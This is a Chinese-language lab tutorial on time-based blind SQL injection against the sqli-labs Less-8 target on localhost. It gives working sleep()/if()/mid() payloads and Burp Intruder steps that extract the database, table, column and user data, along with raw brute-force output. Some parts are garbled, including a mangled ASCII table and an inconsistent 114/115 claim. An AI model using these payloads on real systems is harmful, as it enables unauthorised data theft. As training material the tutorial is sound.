SQL盲注:基于时间延迟注入

靶场环境搭建

所需软件

Phpstudy2016,sql注入靶场文件 Phpstduy 官网下载地址:https://www.xp.cn/
sql注入靶场下载地址:https://github.com/Audi-1/sqli-labs

下载安装 phpstudy,下载sql注入靶场文件压缩包,

解压文件靶场环境文件,放到 phpstudy 文件目录下的 WWW 文件夹下,

然后运行 phpstudy

然后访问,http://localhost/,或者 http://127.0.0.1

点击 Setup/reset Database for labs 选项安装靶场数据库等文件

出现这个就说明安装完成

返回访问 http://127.0.0.1 主页就行

对照 ascii 表

控制字符ASCII 值控制字符ASCII 值控制字符ASCII 值控制字符
NUT32(space)64@96
SOH33!65A97a
STX3466B98b
ETX35#67C99c
EOT36$68D100d
ENQ37%69E101e
ACK38&70F102f
BEL39,71G103g
BS40(72H104h
HT41)73I105i
LF42*74J106j
VT43+75K107k
FF44,76L108l
CR45-77M109m
SO46.78N110n
SI47/79O111o
DLE48080P112p
DCI49181Q113q
DC250282R114r
DC351383S115s
DC452484T116t
NAK53585U117u
SYN54686V118v
TB55787W119w
CAN56888X120x
EM57989Y121y
SUB58:90Z122z
ESC59;91[123{
FS60<92/124|
GS61=93]125}
RS62>94^126`
US63?95_127DEL

本次 sql 延时注入选择的是第八关(图中所示)。

SQL 注入工具采用的基本都为盲注及其它注入。这里以 Mysql 盲注为示例:
何为延时注入?

所谓延时注入主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。

这里需要用上 Mysql 的 4 个函数:sleep()、if()、mid()、ord();

  • sleep() //延时

  • if(条件,True,False) //判断语句

  • mid(str,1,1) 截取 //指定字符串截取,截取字符开始长度-结束长度

  • ascii //转换为 ascii 编码

猜库名

这里先猜解一下 database()当前数据库名字,

构造语句

‘ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

该语法意思是,mid 函数方法截取
database()当前库库名第一个字符,判断第一个字符是否为 1,

  1. 对应的是 ascii 字符,如果第一个字符=其中的一个 ascii 字符,那么就延时 5
    秒,如果不等于则延时 1 秒,我们这里可以用快捷方法,直接上 burpsuite
    爆破即可访问该地址,然后抓包

http://127.0.0.1/Less-8/?id=1’ and
if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

右 键

选择 Send to intrude 发送到爆破猜解模块中

发送完成后,我们选择爆破这俩个参数

接下来选择 payload 模块

第一个参数选择这个快捷模块 Numbers

第二个模块亦是如此,不过这里填写的是所有 ascii 字符对应的十进制位数

1-127

填写完成后点击右边的 Start attack 按钮 ,开始爆破

爆破出来得到 database()库名,对应的 ascii 字符我们来拼接一下

1-115 ,2-101,3-99,4-117,5-114,6-105,7-116,8-121 对应 ascii
表最终得到库名为 security

http://127.0.0.1/Less-8/?id=1’ and
if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+

判断表名长度

构造语句

’ and if(length(mid((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1))=4,1,sleep(5)) –+

存在延时,说明表名长度不等于 4.。

’ and if(length(mid((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1))=6,1,sleep(5)) –+

存在延时,说明表名长度是 6。

猜表名

构造语句

http://127.0.0.1/Less-8/index.php?id=1‘ and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))>113,sleep(10),1);–+

符合条件说明,第一个ascii大于113

http://127.0.0.1/Less-8/index.php?id=1‘ and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))>115,sleep(10),1);–+

不符合条件,第一个ascii不大于115

http://127.0.0.1/Less-8/index.php?id=1‘ and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))=114,sleep(10),1);–+

符合条件,说明第一个ascii码=115

这样写太麻烦,还得一个一个猜解,这里我们直接上burpsuite爆破猜解访问poc抓包

http://127.0.0.1/Less-8/index.php?id=1‘and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))=113,sleep(10),1);–+

然后还像爆破猜解库名一样猜解表名

选 择 这 俩 个 参 数

然后导入字典开始爆破

最终得到表名对应的 ascii 码

1114,101,102,101,114,101,114,115

最终得到表名为 referers

如果觉得麻烦也可以同时猜解三个表名

117 97 103 101 110 116 115 uagents

再对应 ascii 码表查看一下就可以得到所有表名了。

猜列名

只需要将select语句里的

table_name 改为 column_name 以及 information_schemation.tables 改为
information_schemation.columns

就可以了。

我们来猜解一下列名

构造语句

http://127.0.0.1/Less-8/index.php?id=1‘and if(ascii(mid((select column_name from
information_ schema.columns where table_schema=database() limit
1,1),1,1))>113,sleep(10),1); –+

猜字段内容

构造语句

‘ and if(ascii(mid((select username from security.users order by id limit

0,1),2,1))=117,sleep(10),1);–+

直接上 burp 爆破

同时爆破列名每一位对应的 ascii 码。

对应 ascii 码得到 email_id

爆破 users 表

爆破出来的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
0 200 false false 926

25601 1 1 65 200 false false 926 1

38541 1 8 97 200 false false 926 1

40061 1 4 101 200 false false 926 1

40841 1 3 103 200 false false 926 1

41701 1 6 105 200 false false 926 1

42881 1 5 108 200 false false 926 1

43621 1 2 110 200 false false 926 1

43721 1 7 110 200 false false 926 1

20110 10 6 51 200 false false 926 1

38410 10 1 97 200 false false 926 1

39630 10 2 100 200 false false 926 1

41670 10 4 105 200 false false 926 1

43250 10 3 109 200 false false 926 1

43690 10 5 110 200 false false 926 1

38511 11 6 97 200 false false 926 1

38451 11 3 97 200 false false 926 1

39611 11 1 100 200 false false 926 1

41231 11 2 104 200 false false 926 1

20512 12 6 52 200 false false 926 1

39632 12 2 100 200 false false 926 1

41672 12 4 105 200 false false 926 1

43252 12 3 109 200 false false 926 1

43262 2 4 109 200 false false 926 1
4642222117 200 false false 926 1
4808225121 200 false false 926 1
4010336101 200 false false 926 1
4560331115 200 false false 926 1
4646334117 200 false false 926 1
4168445105 200 false false 926 1
4560441115 200 false false 926 1
4602442116 200 false false 926 1
4644443117 200 false false 926 1
385255797 200 false false 926 1
4330556109 200 false false 926 1
4560551115 200 false false 926 1
4642552117 200 false false 926 1
384266297 200 false false 926 1
384866597 200 false false 926 1
4326664109 200 false false 926 1
4370666110 200 false false 926 1
3962772100 200 false false 926 1
4166774105 200 false false 926 1
4368775110 200 false false 926 1
3962882100 200 false false 926 1
4324883109 200 false false 926 1
4368885110 200 false false 926 1
384099197 200 false false 926 1
3962992100 200 false false 926 1
4166994 105 200 false false 926 1
4324993 109 200 false false 926 1
4368995 110 200 false false 926 1

对应 ascii 码可以得到具体的内容信息。

XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way